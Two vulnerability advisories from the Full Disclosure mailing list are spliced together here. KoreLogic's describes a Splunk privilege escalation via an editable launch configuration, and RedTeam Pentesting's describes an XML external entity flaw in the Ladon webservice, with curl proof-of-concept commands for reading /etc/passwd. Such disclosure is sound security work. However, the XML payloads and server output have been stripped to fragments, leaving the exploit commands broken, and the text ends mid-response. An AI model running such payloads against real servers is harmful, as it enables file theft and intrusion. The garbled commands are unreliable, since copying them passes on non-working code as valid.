[FD] KL-001-2017-022 : Splunk Local Privilege Escalation
KL-001-2017-022 : Splunk Local Privilege Escalation Title: Splunk Local Privilege Escalation Advisory ID: KL-001-2017-022 Publication Date: 2017.11.03 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-022.txt 1. Vulnerability Details Affected Vendor: Splunk Affected Product: Splunk Enterprise Affected Version: 6.6.x Platform: Embedded Linux CWE Classification: CWE-280: Improper Handling of Insufficient Permissions or Privileges Impact: Privilege Escalation Attack vector: Local 2. Vulnerability Description Splunk can be configured to run as a non-root user. However, that user owns the configuration file that specifies the user to run as, so it can trivially gain root privileges. 3. Technical Description Splunk runs multiple daemons and network listeners as root by default. It can be configured to drop privileges to a specified non-root user at startup such as user splunk, via the SPLUNK_OS_USER variable in the splunk-launch.conf file in $SPLUNK_HOME/etc/ (such as /opt/splunk/etc/splunk-launch.conf). However, the instructions for enabling such a setup call for chown'ing the entire $SPLUNK_HOME directory to that same non-root user. For instance: http://docs.splunk.com/Documentation/Splunk/6.6.2/Installation/RunSplunkasadifferentornon-rootuser "4. Run the chown command to change the ownership of the splunk directory and everything under it to the user that you want to run the software. chown -R splunk:splunk $SPLUNK_HOME" Therefore, if an attacker gains control of the splunk account, they can modify $SPLUNK_HOME/etc/splunk-launch.conf to remove/unset SPLUNK_OS_USER so that the software will retain root privileges, and place backdoors under $SPLUNK_HOME/bin/, etc. that will take malicious actions as user root the next time Splunk is restarted. 4. Mitigation and Remediation Recommendation The vendor has published a mitigation for this vulnerability at: https://www.splunk.com/view/SP-CAAAP3M 5. Credit This vulnerability was discovered by Hank Leininger of KoreLogic, Inc. 6. Disclosure Timeline 2017.08.17 - KoreLogic submits vulnerability details to Splunk. 2017.08.17 - Splunk confirms receipt. 2017.08.22 - Splunk notifies KoreLogic that the issue has been assigned an internal ticket and will be addressed. 2017.09.29 - 30 business days have elapsed since the vulnerability was reported to Splunk. 2017.10.17 - KoreLogic requests an update from Splunk. 2017.10.18 - Splunk informs KoreLogic that they will issue an advisory on October 28th. 2017.10.23 - 45 business days have elapsed since the vulnerability was reported to Splunk. 2017.10.30 - Splunk notifies KoreLogic that the advisory is published. 2017.11.03 - KoreLogic public disclosure. 7. Proof of Concept See 3. Technical Description. The contents of this advisory are copyright(c) 2017 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt signature.asc Description: OpenPGP digital signature ___ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
[FD] [RT-SA-2016-008] XML External Entity Expansion in Ladon Webservice
Advisory: XML External Entity Expansion in Ladon Webservice
Attackers who can send SOAP messages to a Ladon webservice via the HTTP
interface of the Ladon webservice can exploit an XML external entity expansion
vulnerability and read local files, forge server side requests or overload the
service with exponentially growing memory payloads.
Details
===
Product: Ladon Framework for Python
Affected Versions: 0.9.40 and previous
Fixed Versions: none
Vulnerability Type: XML External Entity Expansion
Security Risk: high
Vendor URL: http://ladonize.org
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-008
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH
Introduction
"Ladon is a framework for exposing methods to several Internet service
protocols. Once a method is ladonized it is automatically served through all
the interfaces that your ladon installation contains. Ladon's interface
implemetations are added in a modular fashion making it very easy [sic] extend
Ladon's protocol support. Ladon runs on all Major OS's[sic] (Windows, Mac and
Linux) and supports both Python 2 and 3."
From the vendor's website[1]
More Details
Ladon allows developers to expose functions of a class via different
webservice protocols by using the @ladonize decorator in Python. By
using the WSGI interface of a webserver or by running the Ladon command
line tool "ladon-2.7-ctl" with the command "testserve" and the name of
the Python file, the webservices can be accessed via HTTP.
As a simple example, the following Python file "helloservice.py" was
implemented:
from ladon.ladonizer import ladonize
class HelloService(object):
@ladonize(unicode, rtype=unicode)
def sayhello(self, uid):
return u"Hello {0}".format(uid)
This function can then be run as a ladon webservice via the following
command:
ladon-2.7-ctl testserve helloservice.py -p 8000
This enables access to the "sayhello"-function via SOAP- and JSON-APIs.
The following command will send an HTTP SOAP request, which will trigger the
function:
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:/HelloService/soap11/sayhello\;' \
--data-binary $'http://www.w3.org/2001/XMLSchema-instance\;
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\;
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\;
xmlns:urn=\"urn:HelloService\">
http://schemas.xmlsoap.org/soap/encoding/\;>
RedTeam Pentesting
' \
'http://localhost:/HelloService/soap11' | xmllint --format -
This will generate the following output:
http://schemas.xmlsoap.org/soap/encoding/;
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/;
xmlns:ns="urn:HelloService" xmlns:xsd="http://www.w3.org/2001/XMLSchema;>
http://schemas.xmlsoap.org/soap/encoding/;>
Hello RedTeam Pentesting
The SOAP-API of this service is susceptible to an XML external entity
expansion.
Proof of Concept
By including a DTD in the XML SOAP request, attackers are able to include
external entities in the response of the server. In the case of the simple
service the inclusion of the following DTD will result in the exposure of the
"/etc/passwd"-file on the server:
]>
The following command exploits this vulnerability by including the
entity as the username in the request:
curl -s -X $'POST' \
-H $'Content-Type: text/xml;charset=UTF-8' \
-H $'SOAPAction: \"http://localhost:/HelloService/soap11/sayhello\;' \
--data-binary $'
]>
http://www.w3.org/2001/XMLSchema-instance\;
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\;
xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\;
xmlns:urn=\"urn:HelloService\">
http://schemas.xmlsoap.org/soap/encoding/\;>
' \
'http://localhost:/HelloService/soap11' | xmllint --format -
The server answers with a response containing the passwd-file:
http://schemas.xmlsoap.org/soap/encoding/;
